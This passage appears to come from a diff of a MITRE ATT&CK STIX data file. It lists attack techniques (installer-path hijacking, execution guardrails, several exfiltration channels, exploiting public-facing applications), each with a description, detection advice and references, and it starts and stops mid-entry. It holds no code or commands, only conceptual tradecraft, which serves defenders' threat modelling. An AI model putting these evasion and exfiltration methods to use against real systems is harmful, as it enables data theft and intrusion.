%TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", + "x_mitre_effective_permissions": [ + "Administrator", + "User", + "SYSTEM" + ], + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak" + ], + "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1574/005", + "external_id": "T1574.005", + "source_name": "mitre-attack" + }, + { + "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", + "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.", + "source_name": "mozilla_sec_adv_2012" + }, + { + "url": "https://seclists.org/fulldisclosure/2015/Dec/34", + "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.", + "source_name": "Executable Installers are Vulnerable" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Execution Guardrails", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-06-09T18:53:58.471Z", + "created": "2019-01-31T02:10:08.261Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host forensic analysis", + "Signature-based detection", + "Static file analysis" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.", + "x_mitre_contributors": [ + "Nick Carr, Mandiant" + ], + "x_mitre_detection": "Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1480", + "external_id": "T1480", + "source_name": "mitre-attack" + }, + { + "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/", + "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.", + "source_name": "FireEye Kevin Mandia Guardrails" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html", + "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.", + "source_name": "FireEye Outlook Dec 2019" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration Over Alternative Protocol", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1048", + "external_id": "T1048", + "source_name": "mitre-attack" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig Oct 2016" + }, + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.3", + "modified": "2021-10-15T22:49:28.766Z", + "created": "2017-05-31T21:30:44.720Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques) ", + "x_mitre_contributors": [ + "William Cain", + "Alfredo Abarca" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1048/002", + "external_id": "T1048.002", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T22:44:11.953Z", + "created": "2020-03-15T15:34:30.767Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", + "description": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration Over Bluetooth", + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-28T00:34:55.439Z", + "created": "2020-03-09T17:07:57.392Z", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd", + "description": "Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an attacker may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1011/001", + "external_id": "T1011.001", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration Over C2 Channel", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1041", + "external_id": "T1041", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "2.1", + "modified": "2021-10-15T22:45:50.620Z", + "created": "2017-05-31T21:30:41.804Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration Over Other Network Medium", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1011", + "external_id": "T1011", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2020-03-28T00:35:24.570Z", + "created": "2017-05-31T21:30:25.159Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--51ea26b1-ff1e-4faa-b1a0-1114cd298c87", + "description": "Adversaries may attempt to exfiltrate data over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel.\n\nAdversaries may choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network", + "x_mitre_contributors": [ + "Itzik Kotler, SafeBreach" + ], + "x_mitre_detection": "Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration Over Physical Medium", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1052", + "external_id": "T1052", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Access", + "Drive: Drive Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.2", + "x_mitre_network_requirements": false, + "modified": "2021-10-15T22:48:29.702Z", + "x_mitre_system_requirements": [ + "Presence of physical medium or device" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--e6415f09-df0e-48de-9aba-928c902b7549", + "description": "Adversaries may attempt to exfiltrate data via a physical medium, such as a removable drive. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.", + "created": "2017-05-31T21:30:46.461Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration Over Symmetric Encrypted Non-C2 Protocol", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1048/001", + "external_id": "T1048.001", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-28T00:43:24.228Z", + "created": "2020-03-15T15:30:42.378Z", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c", + "description": "Adversaries may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nSymmetric encryption algorithms are those that use shared or the same keys/secrets on each end of the channel. This requires an exchange or pre-arranged agreement/possession of the value used to encrypt and decrypt data. \n\nNetwork protocols that use asymmetric encryption often utilize symmetric encryption once keys are exchanged, but adversaries may opt to manually share keys and implement symmetric cryptographic algorithms (ex: RC4, AES) vice using mechanisms that are baked into a protocol. This may result in multiple layers of encryption (in protocols that are natively encrypted such as HTTPS) or encryption in protocols that not typically encrypted (such as HTTP or FTP). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) \n\nArtifacts and evidence of symmetric key exchange may be recoverable by analyzing network traffic or looking for hard-coded values within malware. If recovered, these keys can be used to decrypt network data from command and control channels. ", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1048/003", + "external_id": "T1048.003", + "source_name": "mitre-attack" + }, + { + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T22:49:28.421Z", + "created": "2020-03-15T15:37:47.583Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b", + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) ", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration Over Web Service", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1567", + "external_id": "T1567", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T22:50:29.607Z", + "created": "2020-03-09T12:51:45.570Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--40597f16-0963-4249-bf4c-ac93b7fb9807", + "description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration over USB", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1052/001", + "external_id": "T1052.001", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Access", + "Drive: Drive Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T22:48:29.490Z", + "x_mitre_system_requirements": [ + "Presence of physical medium or device" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", + "description": "Adversaries may attempt to exfiltrate data over a USB connected physical device. In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a USB device introduced by a user. The USB device could be used as the final exfiltration point or to hop between otherwise disconnected systems.", + "x_mitre_contributors": [ + "William Cain" + ], + "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute when removable media are mounted.", + "created": "2020-03-11T13:50:11.467Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2020-03-28T01:02:24.172Z", + "name": "Exfiltration to Cloud Storage", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1567/002", + "external_id": "T1567.002", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-03-09T15:04:32.767Z", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", + "description": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Exfiltration to Code Repository", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1567/001", + "external_id": "T1567.001", + "source_name": "mitre-attack" + } + ], + "x_mitre_data_sources": [ + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "File: File Access", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-28T00:58:55.433Z", + "created": "2020-03-09T14:51:11.772Z", + "x_mitre_network_requirements": true, + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--86a96bf6-cf8b-411c-aaeb-8959944d64f7", + "description": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "exfiltration" + } + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server) to code repositories. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "attack-pattern", + "modified": "2021-07-20T21:51:45.776Z", + "name": "Exploit Public-Facing Application", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "2.3", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Network", + "Linux", + "macOS", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", + "description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Praetorian" + ], + "x_mitre_detection": "Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1190", + "external_id": "T1190", + "source_name": "mitre-attack" + }, + { + "source_name": "NVD CVE-2016-6662", + "description": "National Vulnerability Database. (2017, February 2). CVE-2016-6662 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-6662" + }, + { + "source_name": "CIS Multiple SMB Vulnerabilities", + "description": "CIS. (2017, May 15). Multiple Vulnerabilities in Microsoft Windows SMB Server Could Allow for Remote Code Execution. Retrieved April 3, 2018.", + "url": "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/" + }, + { + "url": "https://us-cert.cisa.gov/ncas/alerts/TA18-106A", + "description": "US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.", + "source_name": "US-CERT TA18-106A Network Infrastructure Devices 2018" + }, + { + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "source_name": "Cisco Blog Legacy Device Attacks" + }, + { + "source_name": "NVD CVE-2014-7169", + "description": "National Vulnerability Database. (2017, September 24). CVE-2014-7169 Detail. Retrieved April 3, 2018.", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2014-7169" + }, + { + "source_name": "OWASP Top 10", + "description": "OWASP. (2018, February 23). OWASP Top Ten Project. Retrieved April 3, 2018.", + "url": 